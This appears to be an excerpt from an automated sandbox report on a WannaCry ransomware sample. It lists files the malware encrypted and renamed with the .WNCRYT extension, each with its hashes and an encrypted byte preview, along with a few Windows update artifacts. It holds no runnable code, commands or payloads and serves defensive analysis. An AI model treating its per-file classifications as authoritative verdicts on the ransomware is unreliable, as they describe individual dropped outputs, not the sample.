                                                                                                      Preview:WANACRY!.....R..<t.,6.zzn..r@-=......z<l>..Y..0....bj.........$..]..1../..z..lJ^.LW}..........M.X.3.+r.}}0...s..v6Oc..Wi<g.w..}..V.D..v.bc.<.+}/...(R6..G.d.9..:.I.i..1W..]>...g.:.-TDa@.s..u.4...@9.".#->r...u..].:QK..:+........{.rK.8laj\.?..Y..>C.U"._.y.z6............Y.NT.FF.._......F.e:r....Y.j.68.(...3..aiKBZ)tJ.N..t...L......,.9..#.fD..r.....V_k.n....|u.V09O..2..........r#.|e..n..-M.fMu...$YMZ..5@.c.%....F\=.....M...i....L(......6...U...uzJ....$.+.3f....sX..W....HA..'W...m.W....?.....)...^....h..U.;b%>X..Ye_.(.\~.x.}}.....M.*.7...^Ulr.....g....Dw..(K..w..}N........_.2;.L.6.c.....+.1./k..jT..a...,!..=.~q..}.7.A...0Mlg... ...(....C....7a.r.#.{.F.8o..d..#..S..b.-....M.0.k.6...3*...u.."P.....$..90X.e..i.<c.2{my.L.i...".......<.RS..`}..xMl.+..?..q........._...y.\.K..3w.dnd,.\j.ok.x.w.......c.0Ib0.<\.6\7..n..J....A@.....5...}....o85M.......1$.iQ...)`..w....n.9.9T.d...Ly|T....|2..U...3..\....5\..=..P...Ap.T...a....F....9b..O[..G.n{!n.&.VG+

                                                                                                      C:\Users\user\Downloads\GRXZDKKVDB.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852831833419483
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk0BjVBLTJ49EunL7DyHYxUgd9g+H0kWBRwrp2gqgweQBrpmO:bk0BjVBPJzEL0gd9gOhUWt2gqOQBrx
                                                                                                      MD5:029B14F874127CE70E9929004C39C53E
                                                                                                      SHA1:2A98E22CA3494F91EE4BEEF2A21A71ADCA01ED30
                                                                                                      SHA-256:AD7BBB93DFC242929E5C7B47B90833343840A591D0F3F75FBC81F030442FDB26
                                                                                                      SHA-512:0EC6A1CA38EBC13183AF44FB04E46F8E640CB619338FCEE1BC99BC8861E0D156DBB09CF99F93C34DDC611C3E9BD76173C7F0D05C220204E631674E97A8DA7C19
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....lJ..k(m..J.;yK..V.k<.H.P.....%y....E.I.W.....wX..9.....J..P.S......'..9..O.'.d...G.R.G`}..=.e.......U...:L..).....a.!.6yCV^.,1...0,....!4.p..ni?.......U....yV...C.y..N..I...^.].O.P.&......y.%...xJ..`z!.....W.2...d.......l0..Wi......)....x+.y...!Y............?p.GK...8RM.q......,....B#s7.."6`..h&2..Zk...."c.x{..#..GXL....q.f..j.T^.d%....`..C..@.g.lE.XR+.8...f.n..H.k....6..RV=7&?v...p...7.t......b.......>.bs.x.c..I.d`...7$.C/Z...j.(..)ja?.d.....*ILs.L]....t.$./nE...24A...u;.K......S.{OQ...9V.=.M.....X.t.Q..5.?...D....| /....hWc.{\6...o...q..*.)..>l...b.M..I........t#i-o........<...b.B.:....".........;..y...N....H..,...0.....,.b.........#r..K../m....9_.w..d;.Rpk..V.S...L.L..>.b'...q.0...5Z.>..N5..w......"'..k.T..7mA.L.b...-(kP...e..C...r/....S.w...iG.${...J<$?v.`I*C.lY=...Ur_p.:..].........7E..._.~.P..Q..Sb2%.U*D.4V.....Q.p.^.i.......'..(k...th...-.{...U.(.X.i..Kg...Vsxo.fA"....G...fwP..[.b.;}|E]..mC@.u.b.....:0.4m...s...1<l"

                                                                                                      C:\Users\user\Downloads\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.842967044372945
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkUHuffCtHEt8rLCukwc8T0VTI4HzunqMTykEdnKsTasUvlE6KaNU1Hpn:bk5t8XNT0VTI4HzunDy+sTBUvK6e5pn
                                                                                                      MD5:AD4381B6A33C2CD1BC4A971CA950BA31
                                                                                                      SHA1:167CF2BFBDF34337CC6EE7A240197DB3F329686B
                                                                                                      SHA-256:F36414649332283A4D0FEFB76F600704224CA3384575092D62CF865C78E27546
                                                                                                      SHA-512:1CEA7D219D9B94206DC273B20EFDA5B18270A2A46CA17D6DF3CE0F5EBC5438529BD9C512BF5E329CEEAC1618E1FFA11B7DC05C9D4DF8D0A11FE6F454F8CC7990
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....=.C._{..$.B.Q.t.!x.f+..7.t.....q...=.2.6........V...$.....).`p:..{7..J.....i....5...2....M....A.=D.4.S.zj....L.X...u7...Y..S..#...k...o.:..C.)F(....p.......Q;........wT..pr.T......... .....Y....~i._...2........o...W.M.\Yl...hE.W........9...S......................J..V....y.....z.@.OF..3....5'y.#....N...1......E%...W.Gbn......8....h..F0..5....$.N/:.p...._..x..Bd...D.Taw../.....r.r..<q.n.LTJ0?N..;....IeZ..P..N.C,V9.Di..._rX.W.......A.3$6.l.G...........6......T..?).T..K.].a.Uz.W.m.?C."..".....w.....4..*z....[..t.......wwi.....D..`....A...V..........l..9......lK.H....Q'.jT....(..C......*h2..nfx.?9..Ks..&K..l.Mzj<.d....r9t\DX.D..s...=....hv}.c...W....z.{,...I..}[ .$.^^'..$T...k.8..."...3R...`z.$.f...n.b.{C.%.5.0./.cz#[..:...Q.k...a%..?.b)D.}......P.N..~p.........j..."..........s2..{5u.L...f.}..0......k..5.A.{...`.....U5J..(v....(.._.....u. Q.*....-Xf..i@,....7.t.k...b...k..[.S?+v..p.G...m...!..@.=.@&}...H..?6E..L..`.I.]F.g....

                                                                                                      C:\Users\user\Downloads\KLIZUSIQEN.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83084606604275
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkSHtfRar1ZtRMonDjLkh+kzEslHaXNVfiIeZ3kTh/13/NL495MlFsT+:bk+tfMtRJD0h+KtQeQht3/a5MsT+
                                                                                                      MD5:A9B3B4508733E04ECBDE2785C02ED661
                                                                                                      SHA1:8B49D771141E7E1BDE6049486692AAB9E5220CCC
                                                                                                      SHA-256:12A6E9ED17B286F929E1D87648DB0649A37E7946A04CF1F337554EFE88031FA6
                                                                                                      SHA-512:445AE02ECEFC39B16EFF949F6F358B1DA92F9B0C2544E476036127646CFD08A35ECC6AD857BC42DB4AB4D93BF3F2693A66FA1BA48DCC81D6B145BA896F97CD32
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....:..............1&:.s..#.wh.(x..Rq......fI@?Hf...]x...`.Z.....C.9...@C4..3.+..OW...O.i.rSoA....{I..?.)..$.i.t.9.!......tY.....[..oY\x.~%..R.nD.#.....`v....#.P..b6...*./Eb..(.."M!../K\Ix.?`.\T.K.^v..L.d.y_dD1..I.X5...d.....A..wD..#;{...e...............xRJ4.,.g.S,...E.Q.o2......&4.s.|..B.....W.c4....u=...S..W...C/\R.iDh...-f.Q...t...e.J.Y.|..X.J.w.lo.,..\.7]..C. '..k.2.B:...y<Q/KSN.S......xKK.]=..sN...G.....j....y-.:p..e.6.....L#"..W.E.%..QY..'.^..M...l..V0..+]...)...J!...+...$..[.J.;.L#....1I...%.ZR..2....1.Eq.L...'g.7..}zeR.s..)Mp#..#.!.cfV.QY.3......&...BUt.x.e....DBs..U.j.|M...&`'.:.O.u..w.d.F......m...m..=..\.6.6.....y..&._...c..p.{....!.g*o...E.Y.7f........._..x......:GW.;/@...x..o.vHs......(.M..2......z#...;.....{.D...J........_9G_..i..t..!..t..2.r.\.Y..tR.9~..Z....9M..........v....}...........*.`W.....Wh.B.iu.;..d.....F.IaK.F5I.}X*....E1.G...01./w.#V...;...@s.....R...+4.4A.ZlR..-i9.h.f..C..8h..T;..%.....

                                                                                                      C:\Users\user\Downloads\NVWZAPQSQL.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.848442067981894
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkFd9E4hSz86y/a1C5fOvkMP3gKFZQa3i7aRml581UtW8MuCJvHtS20:bkFTERz867OMYKzQlBl5yk0JvHt90
                                                                                                      MD5:454D16962AD71C86FDF90DD85A89DBD0
                                                                                                      SHA1:B6B0049F111CC5472A44F36D7B9BD52C69FEF903
                                                                                                      SHA-256:1453591A830BF3159E56DE66EC416002F22DC795AC9D8F2053293521E775C13B
                                                                                                      SHA-512:DFC403085C328C2050FB2BF98AFCBF026541DA0BAC18A09E1562DC3322B6A975FD2E56A7EE388E1A2689839F5914076C24C26A38F936798D0B4F104EDACB6D48
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......w'c(....f.I]..P..p..?. ...)g.Ic.$CYo..OX....4.$.T._!;R+..i?c.m.|...(.]..!".$%#.7.....;.0..Nc,..l.=.K...ck..Q....\..w....2...Z%z.u...,[ .sT1...]]{rMuFH.......h.M)Gce>.WA....b.s.{...~....5O97..D>....3.....`.v..)...8..J.1...K+..........<.G;m..............$..}.w~.a....WZ..A2G....g:.Z....k..TJ.n..F..p:^..l.........:...ds.7m..A..l..Q[...#.,...\.[.>P|d...u.8...L.yf.3.2......cV..I.N........zty..v..l..Yyc.|.J.}..S=..L........>n..iR.O..:+P...G.m(........."o.Ul..?..-0...\(K..:'@c..\...0?..-0.'7R}..a.v.D[.q@W.M...hc{.~.?%.....K%...j....U.U.....UD.;G..h..&P..n..X.o.O.UM.[.:Xn.......lc...s..J2.c.yw_.V..h7r.>..<.n0..;4.....'e...m..y....S...g.[n..L./...W..b...j#./.e...[G;0b.ul=}.?..L..../.......p.5=......c$..v1F..........c..R...`.?!....X.L..v..i..f.ps...}...aj.<.;.. ....O.c...\J.....,.r...3D..._..hHI.N...L..p...}B.n..<.J.):. .! I.....^..2...\..H.^I'..#!b-TNFg.j.. .!#....yWq{.0>...L..eOe.;.c.]8..H...0.Fk..fX..Z.p..pI...}..%kN..{R&../y.[..x

                                                                                                      C:\Users\user\Downloads\NVWZAPQSQL.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.85041239780691
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkfmpKWBTUnhe8Qk2V3g6dWcBSqRP5D2c0GiiQgAIe21HQQw9QvX4losOoFX:bkCXIk8Qkr/1AV2c/3QQHpXs5F
                                                                                                      MD5:14225D0097EBC1C3819A861777514C95
                                                                                                      SHA1:7DD1B8F7EBCA466DE8E65EB289D14942576E4FCB
                                                                                                      SHA-256:08E14922AB45577DD82D2996A85BD239D5071419F34766C46BF2D0D84763346A
                                                                                                      SHA-512:38E14BFBA3629D2991D79CE818604918D0727741F8B3B6600A38FB48BF22850A46A3B88FDDFEBA58F8EFA7E042AEA7D6CA14A47D0DC70173F7824897F9399CEE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........g..{..->AE.....3...].)..Kp..fN...j;.y.._ D.(.N.....8E..>..i.....E.{...|'+nIp8J...7...BY... ......ZcG...c...p..AU......*..Q.._..yK....Ea.=.e.G...q\%..'.[G..-b....=..r..{..M....#.....e*g.....mIy..?...fH...t^{.....i..hb...d/R.....9.:.....................Dgc......6..~..#z1x..)...='..74lR.t.0..!....vCK........W....n$.j.1.b.C..M.V.oo.xD5....M.f.g..#..cG8J..ZLF....H(..,S..F..i..:.3{h.:2.ZBy;.+.Y.XY=.5Wac...AHu#N.>.Q{`G..2..q.VSf..;..48kq{r.'~w..AS.....[...%.h.....V.P6.:%.s.........]..:.Rx.d.....o...).t..=O.f."...jY..;s...X..Kc....#.<..*...AjT-v...,...m..8Y.KE|.0...'.).^Q.G~....r...u....n../Q....4PNYj+.9\..W..F...S.wn.M^.N5.......jH.....I.0..9Z.]..S.l.W...o!.s`.l\.I....Ye..|v...Wb....X,Zi....#.A.m.....1y........Q.<5).....+yy..Rv.a...|.`1v....G.".b*2..g~:J.R..-&d..:.K.1Y*..(A.=..Y.5.c.....D.m..K.....d...U.u..$.O...a...{VI..+...u!..\I.d..A...M..o\B.1..'.V..T.j.....>g1....H.`A.P"K^h.B!..*3.'.op.l.c.......7...g...u.-.^6v.T.

                                                                                                      C:\Users\user\Downloads\NYMMPCEIMA.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.851974854834523
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkeeBLliHb9GAzTsMzE7QeFCJCZ7H0Brk6RJHPdmbs1h:bkHCUAk3uJCZD0/RldIs1h
                                                                                                      MD5:9ED020E4F63C108B6BF5E92A438FBBD4
                                                                                                      SHA1:BBD602F811597E4BA760AF0FEBA4A7CAA20A8DF2
                                                                                                      SHA-256:F83A5A2199D187CED27E9B6A42C550F6D38001BCD425DDF4D8C87B1E36468C62
                                                                                                      SHA-512:DF1FBEAD46309FA4F384452315026A24A1802E875935FB96D2E0FD1962376D3C1A08A89EC0DF5C6B795F744347F736B4086FB4EFC6F6094C4564A703D603FE6C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........xc..G.H..&Q.CCJ."K<C'qc.O.6h8.S.\-.N9H>)...6....ge.......h,_.cGs.1dF.h.xz..]_.......wc.....x...(..:...jb..8.l.T..Q...".9...iH>.....u..K.G6p./.l....UtL..[.DX..X..F.sh...Z...G.c.wg....2.O..<"..N'.....0.&.C.~].&...V..C._.qN....v.....5...................{..._..6.zdQ..k....b<.......])...k.u....E...........u.>....Q..........em......t..3.D.5.-`........{.....&...e..8..x...G.f{.YG...y@T.{.+...+.p.,..qb.).5...._.^q...`....z...R.].@.H.J..`fU?..]....B;..N/....N..!p..'yA..........z../q.......l..~.P..K....M.%x ..#F@......2......t.. .U.......o6_-&.w(.9u..l(Q=.@.d...|..t..F.F..2p.....z'$.L...2..B.."..=w..iM.{7...K.G..h.....(.W.........A.I.3.!.R..G.u..^..9.J....j8.i...7.\..0.P^..X.rKs..)3...U.p.....9x2.....5&.Wp..].o]7.....;.u8...^...A0p...-j...<..c.&:^.{.$.....s.....o....w.:w...o...5ZEP..y...V".^=......YG....w.%...#....n....i.-U....,..H#~......(.1X{...U.2.c.gZ}^.U....T.2..y...`Xq..k:W....?.;M..e...o!.<.t.;.+.I..KC0..4.....d

                                                                                                      C:\Users\user\Downloads\PALRGUCVEH.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.820651747418555
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkOTGezEBFGzIGcxRE5ROhtIVymTte72XqULgAyaRwaxcj6Mj7Jz9PSaQ:bkOzwGEdRE50r4taWqugfSNxuv5pPBQ
                                                                                                      MD5:ABEE7E1ECC9D4BD1ADF595827D154EAF
                                                                                                      SHA1:78D15BCE88D81B65003E2AE1C54C91CFEB50A8E8
                                                                                                      SHA-256:0DA68C04D70363AA5F6D93A01F2FC1190B1F637B303CD96D677237170E7E9E7F
                                                                                                      SHA-512:C314506486AD55D953898FD145885F6EB606C152F394A96DA88E7D97207086CE6E680C442BBC69F48D160AF1F12BFFDD374F84A27DCAC72266CDB25868CF3A84
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........%l.X...!...a5.xWNR..$.Ij...3...oc...\...i.(.DV. .....+.....Rw(.h.B..*iX..{).f..&....JC.r.u.\.c.r.|Y..fG*.D..I.".N.)E.`.l&.9..bM.'..,.{D.hHC.3..1..!.."..-...|;....I..n...<5..;E...{...5`......pC....v..0..Y}.;..ir;..;.I.:...._/.*..~..{.ptZe..............;..E.06/...$...Pq..I.A.....q#c&XTFNo5.%....\e...\}...L....Mww2...6NM7.R.;H..'...]....v..O.|.o..3.!e....#...g...x..2+..;....Q9.X...hD;.......%..7|..S.>H.b. c...W...2...'.N.....AO....c....`..&m.x........yO....W\C..wq..Wq.R.dc...S}.O.o.#.d.g.7.A.Z....^..Vo....8.R.9......+A?.(...*.N.....8i.I........|.........[...x....@.C..L... ...i{..z...Z~......u...../.-..f....&5S.i/.-mv3r.`|t].).&. .di..5.,..N....T.6..b.|...b"...5hY`@..r.;U..pN.#.......6C.._*....8.}.f..yZ.m......=nD..z.Ii..&).......z.n...LA`J.M......g/......'u>..hP$........}.=...@...(r..........y.E).H.....1...;......'..\.D..BX.+....<7....t..D+(...V.N..S...vl...C?....bx..XC...r. ...hV..... ..S3.....2l.$}<..:........-S]...&1....

                                                                                                      C:\Users\user\Downloads\PALRGUCVEH.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.853225878341567
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzFEQO4MFgJG12tITcyDcch00v91r1H/19XIBy5S+GE4DUIgXH2Plp0PLiImt9J:bkzFGFDuucyoch00dH/r4uGEwGmP/0GJ
                                                                                                      MD5:CF980409A0A1B4A8F48F9971575890B1
                                                                                                      SHA1:75006778B93E235A4012F85BF99676BEF0D30EFD
                                                                                                      SHA-256:75A796CC1BBD025A020F78BD5ABAE570913ECC02F7ABEA51A108546E732E1D49
                                                                                                      SHA-512:02E1C235487C6E2BCE46044F6FA5AEE2002A1EA8AA66AD7BD3C15F18B3EBB45FB7534AE622BC4F5965B5DC90A2C8512CE856301A37B8E1874BDC074A57025C5E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......b...E..../.%$\.<..Z....o{..H4.7Nh./8V.c..e.$.w.$.Q......\.P.LJ..G...WV......;.;-.:+."..*7..^P..EV.g=#..@`.....sQwQ...4.5.a[.._..*...v.Hfl..=W............F.G.."S.....C=.....U{."...3.W...~T..G`p.Sb..$...2/....-.P.Dr..n.....q".Z..3.M...B.............7r.?5"...2.D.i.3Os.f9[..t..".f$+.F..2k...0..e.4f.....#.Q=.W.....s..tK.....Dt.X...i.%../.....a..(.T.7..{S.R.C..)~Xz...'..J.i._u.p.....$...#.J4..+.~m...6....._.l,.O...QV$%....TZ.L.w.{r..:.....4...b.]./..qxh.$ZN.$E..L5...F.J.].).M..Ew..Cj.?.`.w...'5..PM..b..~r.j...?ld<[.<"......"x....R[.F...j...5..0.".m...hMq).).....N!.).:..O.`p...hkS.7|_..r.u...<}=..*.%.P.....w*.)....&.?g....X}.5..@#....x.p<.6..c.|.........Ch.KL..#9.T.J.....@<|Zm....v..-.ds.9..1......^\Qd.s.;r/9c.10p....b..^.!.L....&c..Yd..C6.!..*...p..x......+.......i...Q.J.%.pq.>*^.i..g:z..O..q@.wK%H..h=..v.g.@..-i.&..6.....4..V.Wm.~....Au8.*W.9.^..E/J..9Y!..)...(..}g....0..m,.:...v.>........f.j`.q.)....D4. ....d.@%..YZ..4J

                                                                                                      C:\Users\user\Downloads\ZGGKNSUKOP.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.841313866163293
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkUslhfN+rJlHT85GgNqr2vlKt9rEzwEjncRPbKs+VEFXgf/jEso:bkUslxGJlzdgMrxMwE6PbmVQX+do
                                                                                                      MD5:0659C1942939C2021545086389AF6983
                                                                                                      SHA1:EEEC45EE15A26EC9FEBA55F9D09EB4C04A1AB73B
                                                                                                      SHA-256:36A8AA05F549C71F017E908D5BCED42F159507D96154424CBDB75E93E6A05755
                                                                                                      SHA-512:EFF6C698A10E77D89633A2774A46A7109C8FF3C3B24A9AEDF1ABEE9B80F67DF32860A54D739BEF484595695054C7EB8C9EF38901BEF7886FE2D47B98807B4763
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%)...*...%@......_,..@.=. .6.y.......S...C.8....$..Vv+..y....j..{ " " ....bh..p6.'.U+R..D".RcM]...(..mZ....../`!B...*#. ..X..-(.;.o.....p..J..H;....V.H.-..@...N.T....=&.Ee.H..gts.....0....nqI......V.(x......m.{.T..;7C.r.o.....H1....0...X...bo%.Q+..............H.n......'....d...aEw-.B_.S..y..K...K[.j{W......p..Si..y.y.e~..}.e.j.6..T.Jb-.s.U[=..S.4...........%%h.NW.D.}>.V...C.v.V......Z.&....g....Y.. F..$}..Z..........cb.k....>.r~_..!...V.....G...!...]..?Q$..e.n..[3...c..lyT.^..4.....Q..[..Uc.>....'A).b...{....:G.6.......0..@_.....b.a.....L.... Q.........3..m....[e.d!..1pr..Q!......&q)........i(P......kc..4.9z.g.f.....S.k.....n.y>......S....Cb.S........C.\#..;......7...u...^..1.U6..."......!..rTx...9Q....X...%F )...JLr...M<V];..p...:...z'........w.1a...CO.\..R..TJ.s....U_.......{).6....T.?.. .`..Fo......s.,Ngl.I...S.#.T./a.-.#.k.."\gy4.k.U..d)<...w...Lq.y......U.0.4...{@..r..K...H.d..."....T...k..H..i.Jn.7$v...z.>....T=p.;..!..]

                                                                                                      C:\Users\user\Downloads\ZGGKNSUKOP.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.856811328158595
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkWPfwY5aHt1h4yGsRLxhGiLl80VbrJEqwoiud2I4lmyd/pyFyttpV:bkWPfwYyt16URFLl80VbrJD7i82tv+Ex
                                                                                                      MD5:278C68CEBB343CFDEDE67777A9182DBD
                                                                                                      SHA1:8667835F400DF19729C103DD37FDE7C416FBAD46
                                                                                                      SHA-256:50A56F433B2A6BF3AB055F49EDC29476BD73155C42E05837DA491822EE6747D3
                                                                                                      SHA-512:1C7C997E6F63F8A7EDD0B31162F689DF67BAFE6EA99CBA219D22699A3BF5A226A8DF39910576141BAD0E098DB64823F74B4B296BDBEA08F29D42356E5E4C9312
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....FB.v...L}...*.-:....=KF>...../..F......I.J........P.(Kb.T...b..H....Xk.kf.....t:...........mzv..<vY..:._.].1.I.i....\...._.(.v.......}..O...)........c$..P.,..x.cx....yCP....Sa..h.r]M.45legv.......h..4.,....`.tj.a9...f..9....[.7.Q.....Sd..8K.\.............d........A2h.C.2Mo;....7^.30..,,..R.....F..H..<.KDb.U.X.).."..^...@.rPd.}...^.]_...%.w.#`.p.L.ux..s.^St.Lpmz.z...|....%L.%....Y..Zr!U.6v93....:,Ro1...L.~.M.]y...o.+$w.X4iL.......b2.b}.O..=....k..p...{x.8.j).H.n......OBY0.c......g.3q.l..g.l......e....Jo..&.4....!...v.....z.vLR$#......iL...8.-.R/...p...W.. k..C...}Y]s..<..oV:o.....P/e.. )....+y(.'Z..p..,z.y_...p]|........S?....`(.W.,o...........F..+v.A.Jo.<M....#...I^.....r}........}0.7..B.l....T......{..V..Q.h0.~I.....^.p...9.f..I..p.NX...z...Q.-.-.{h.C...a.W....U\........D^..k**..T.O.g9..W)...n..^.&m.M/C.o.G.......]u...U_.RD.^j.k... ..[YE.Y..zU..........t.J+...s...(......[.xO.4...&.T.. .H.c...%...u....f.R..BDWdem:...g.h..B..

                                                                                                      C:\Windows\Logs\SIH\SIH.20240802.032837.075.1.etl

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\SIHClient.exe
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):12288
                                                                                                      Entropy (8bit):3.1608741688092925
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:FBhqh7eQgm5ejpIXCa2zJ7bhZ4E4Blh0x:FSh7eQgmY1IXCpzJ7lZ4E4Blh0x
                                                                                                      MD5:BB5C4EA5D8ED4710D2D88CC5ACC8E40A
                                                                                                      SHA1:87A633C576330BCDF1D3DA9D4226C42DBAC13AEB
                                                                                                      SHA-256:503F7F61BA7896222B8260FAE2F0BA1422A2484E514E0965232CD7CCCEEC2589
                                                                                                      SHA-512:93D389241A7F427A2CDE83A7C8B640538B20ABCCB40C2C7C3BC047ACCC528D29246B39CECCBC5D6871D5EC0B5BB92B2E665C4C2E32C61A1D0FC010C25081C997
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:....P...P.......................................P...!...........................l... ...-..K....................eJ......{.G.....Zb....... ......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1................................................................Y..........H..............S.I.H._.t.r.a.c.e._.l.o.g...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.S.I.H.\.S.I.H...2.0.2.4.0.8.0.2...0.3.2.8.3.7...0.7.5...1...e.t.l.......P.P.l... ...-..K....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\TMPF078.tmp

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\SIHClient.exe
                                                                                                      File Type:Microsoft Cabinet archive data, single, 462 bytes, 1 file, at 0x44 +Utf "environment.xml", flags 0x4, ID 31944, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                      Category:dropped
                                                                                                      Size (bytes):17126
                                                                                                      Entropy (8bit):7.3117215578334935
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:D5X8WyNHDHFzqDHt8AxL5TKG+tJSdqnajapCNjFZYECUqY7oX9qhnJSdqnaja2Sl:qDlsHq4ThPdlmY9CUiqOdlm2W
                                                                                                      MD5:1B6460EE0273E97C251F7A67F49ACDB4
                                                                                                      SHA1:4A3FDFBB1865C3DAED996BDB5C634AA5164ABBB8
                                                                                                      SHA-256:3158032BAC1A6D278CCC2B7D91E2FBC9F01BEABF9C75D500A7F161E69F2C5F4A
                                                                                                      SHA-512:3D256D8AC917C6733BAB7CC4537A17D37810EFD690BCA0FA361CF44583476121C9BCCCD9C53994AE05E9F9DFF94FFAD1BB30C0F7AFF6DF68F73411703E3DF88A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:MSCF............D................|...............A..........d.......................environment.xml.....b...CK..ao.0...J...&.q...-..;+.6+-i.......7.....=....g.P.RQ.#..#...QQ..p.kk..qX..)...T.....zL#<.4......\k..f..,.Q...`..K7.hP..".E.53.V.DW.X).z.=`.COO 8..8.......!$.P!`00....E.m..l .)".J.vC..J..&...5.5(.a..!..MIM...*......z.;......t.<.o..|CR.3>..n.;8dX....:....N.....U.......J.I(vT..3...N....$.._^.A<....&=._(N....m.u.1}.....Ax.b8....q~.i..0.A...*.H........A.0.@....1.0...`.H.e......0....+.....7......0..0V..+.....7....H.......$f.....`..41200..+.....7...1". ...,..gK.........(...._`Oa..;%.010...`.H.e....... K...,.%@.b./.a...Q.:..E.7....V~....0...0..........3....!.G~&.9......0...*.H........0~1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1(0&..U....Microsoft Update Signing CA 2.20...190502214449Z..200502214449Z0o1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft Update0.."0...*

                                                                                                      C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\sls.cab

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\SIHClient.exe
                                                                                                      File Type:Microsoft Cabinet archive data, single, 7826 bytes, 1 file, at 0x44 +Utf "environment.cab", flags 0x4, ID 53283, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24490
                                                                                                      Entropy (8bit):7.629144636744632
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:iarwQcY8StpA7IQ6GCq30XPSIleI7lzCuqvfiSIleIx:iartHA7PCFP66Tqvfi6c
                                                                                                      MD5:ACD24F781C0C8F48A0BD86A0E9F2A154
                                                                                                      SHA1:93B2F4FBF96D15BE0766181AFACDB9FD9DD1B323
                                                                                                      SHA-256:5C0A296B3574D170D69C90B092611646FE8991B8D103D412499DBE7BFDCCCC49
                                                                                                      SHA-512:7B1D821CF1210947344FCF0F9C4927B42271669015DEA1C179B2BEAD9025941138C139C22C068CBD7219B853C80FA01A04E26790D8D76A38FB8BEBE20E0A2A4A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
